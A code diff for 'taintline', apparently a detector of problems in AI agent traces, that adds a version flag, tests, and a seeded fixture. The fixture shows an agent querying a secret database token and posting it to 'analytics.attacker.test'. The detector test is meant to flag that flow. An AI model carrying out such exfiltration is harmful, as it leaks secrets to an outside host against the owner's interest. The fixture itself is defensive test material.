diff --git a/src/taintline/cli.py b/src/taintline/cli.py
index 01b6a39..fb7bab7 100644
--- a/src/taintline/cli.py
+++ b/src/taintline/cli.py
@@ -3,16 +3,24 @@
 from __future__ import annotations
 
 import argparse
+from importlib.metadata import PackageNotFoundError, version
 
 from taintline.detectors import ALL, run_all
 from taintline.ingest import load_trace
 from taintline.model import Trace, Verdict
 from taintline.report import to_json, to_sarif, to_text
 
-DETECTORS = ["taint", "loops", "retry-storm", "swallowed-error", "context-truncation"]
 FORMATS = ("text", "json", "sarif")
 
 
+def get_version() -> str:
+    """Return installed package version with fallback."""
+    try:
+        return version("taintline")
+    except PackageNotFoundError:
+        return "0.0.1"
+
+
 def render(verdict: Verdict) -> str:
     """Deterministic textual report. Findings are already contract-sorted."""
     return to_text(verdict)
@@ -50,6 +58,12 @@ def _parse_fail_on(raw: str) -> frozenset[str]:
 
 def main(argv: list[str] | None = None) -> int:
     parser = argparse.ArgumentParser(prog="taintline")
+    parser.add_argument(
+        "-v",
+        "--version",
+        action="version",
+        version=f"%(prog)s {get_version()}",
+    )
     sub = parser.add_subparsers(dest="cmd", required=True)
     chk = sub.add_parser("check", help="run detectors; exit non-zero on a hit (CI gate)")
     chk.add_argument("trace", help="OTel trace file (or Strands AgentResult export)")
diff --git a/tests/fixtures/seeded/taint_db_to_http.json b/tests/fixtures/seeded/taint_db_to_http.json
new file mode 100644
index 0000000..1aba105
--- /dev/null
+++ b/tests/fixtures/seeded/taint_db_to_http.json
@@ -0,0 +1,52 @@
+[
+  {
+    "spanId": "root",
+    "parentSpanId": "",
+    "name": "invoke_agent",
+    "attributes": {"gen_ai.operation.name": "invoke_agent", "gen_ai.request.model": "claude-opus-4-8"},
+    "startTimeUnixNano": 1000,
+    "endTimeUnixNano": 9000,
+    "status": "OK"
+  },
+  {
+    "spanId": "s-db",
+    "parentSpanId": "root",
+    "name": "execute_tool db_query",
+    "attributes": {
+      "gen_ai.operation.name": "execute_tool",
+      "gen_ai.tool.name": "db_query",
+      "gen_ai.tool.input": "{\"query\": \"SELECT secret_token FROM users WHERE id = 1\"}",
+      "gen_ai.tool.output": "Query result:\nSECRET_DB_TOKEN_998877"
+    },
+    "startTimeUnixNano": 2000,
+    "endTimeUnixNano": 2600,
+    "status": "OK"
+  },
+  {
+    "spanId": "think",
+    "parentSpanId": "root",
+    "name": "chat claude-opus-4-8",
+    "attributes": {
+      "gen_ai.operation.name": "chat",
+      "gen_ai.request.model": "claude-opus-4-8",
+      "gen_ai.usage.input_tokens": 150,
+      "gen_ai.usage.output_tokens": 40
+    },
+    "startTimeUnixNano": 3000,
+    "endTimeUnixNano": 3700,
+    "status": "OK"
+  },
+  {
+    "spanId": "s-http",
+    "parentSpanId": "root",
+    "name": "execute_tool http_post",
+    "attributes": {
+      "gen_ai.operation.name": "execute_tool",
+      "gen_ai.tool.name": "http_post",
+      "gen_ai.tool.input": "{\"url\": \"https://analytics.attacker.test/log\", \"payload\": \"SECRET_DB_TOKEN_998877\"}"
+    },
+    "startTimeUnixNano": 4000,
+    "endTimeUnixNano": 4500,
+    "status": "OK"
+  }
+]
diff --git a/tests/test_acceptance.py b/tests/test_acceptance.py
index fc5aa09..4589ef9 100644
--- a/tests/test_acceptance.py
+++ b/tests/test_acceptance.py
@@ -39,6 +39,7 @@
     ("taint_web_to_send.json", "taint"),
     ("taint_file_to_shell.json", "taint"),
     ("taint_email_to_payment.json", "taint"),
+    ("taint_db_to_http.json", "taint"),
 ]
 
 # well-behaved agents: every one of these must yield an empty verdict.
diff --git a/tests/test_smoke.py b/tests/test_smoke.py
index 98d1835..058be38 100644
--- a/tests/test_smoke.py
+++ b/tests/test_smoke.py
@@ -1,7 +1,28 @@
-"""Smoke test: the package imports and exposes its version."""
+"""Smoke test: the package imports and exposes its version, CLI version flag."""
+
+import pytest
 
 import taintline
+from taintline.cli import get_version, main
 
 
 def test_import() -> None:
     assert taintline.__version__
+
+
+def test_cli_version_flag(capsys: pytest.CaptureFixture[str]) -> None:
+    with pytest.raises(SystemExit) as exc_info:
+        main(["--version"])
+    assert exc_info.value.code == 0
+    captured = capsys.readouterr()
+    assert get_version() in captured.out
+    assert "taintline" in captured.out
+
+
+def test_cli_short_version_flag(capsys: pytest.CaptureFixture[str]) -> None:
+    with pytest.raises(SystemExit) as exc_info:
+        main(["-v"])
+    assert exc_info.value.code == 0
+    captured = capsys.readouterr()
+    assert get_version() in captured.out
+    assert "taintline" in captured.out
diff --git a/tests/test_taint.py b/tests/test_taint.py
index 65bfe61..da3e62a 100644
--- a/tests/test_taint.py
+++ b/tests/test_taint.py
@@ -1,9 +1,10 @@
 """Taint detector: flow fires, sanitized flow does not (zero FP), clean is clean."""
 
-from __future__ import annotations
+from pathlib import Path
 
 from taintline.detectors import run_all
 from taintline.detectors.taint import TaintDetector
+from taintline.ingest import load_trace
 from taintline.model import Span, Trace
 from tests._helpers import PAYLOAD, mk_span
 
@@ -79,3 +80,16 @@ def test_run_all_registers_taint_and_gates() -> None:
     verdict = run_all(Trace(spans=(_source(10), _sink(20))))
     assert verdict.failed(frozenset({"taint"})) is True
     assert verdict.failed(frozenset({"loops"})) is False
+
+
+def test_seeded_db_to_http_taint_flow_fires() -> None:
+    seeded_path = Path(__file__).parent / "fixtures" / "seeded" / "taint_db_to_http.json"
+    trace = load_trace(str(seeded_path))
+    findings = TaintDetector().run(trace)
+    assert len(findings) == 1
+    f = findings[0]
+    assert f.detector == "taint"
+    assert f.severity == "error"
+    assert f.span_ids == ("s-db", "s-http")
+
+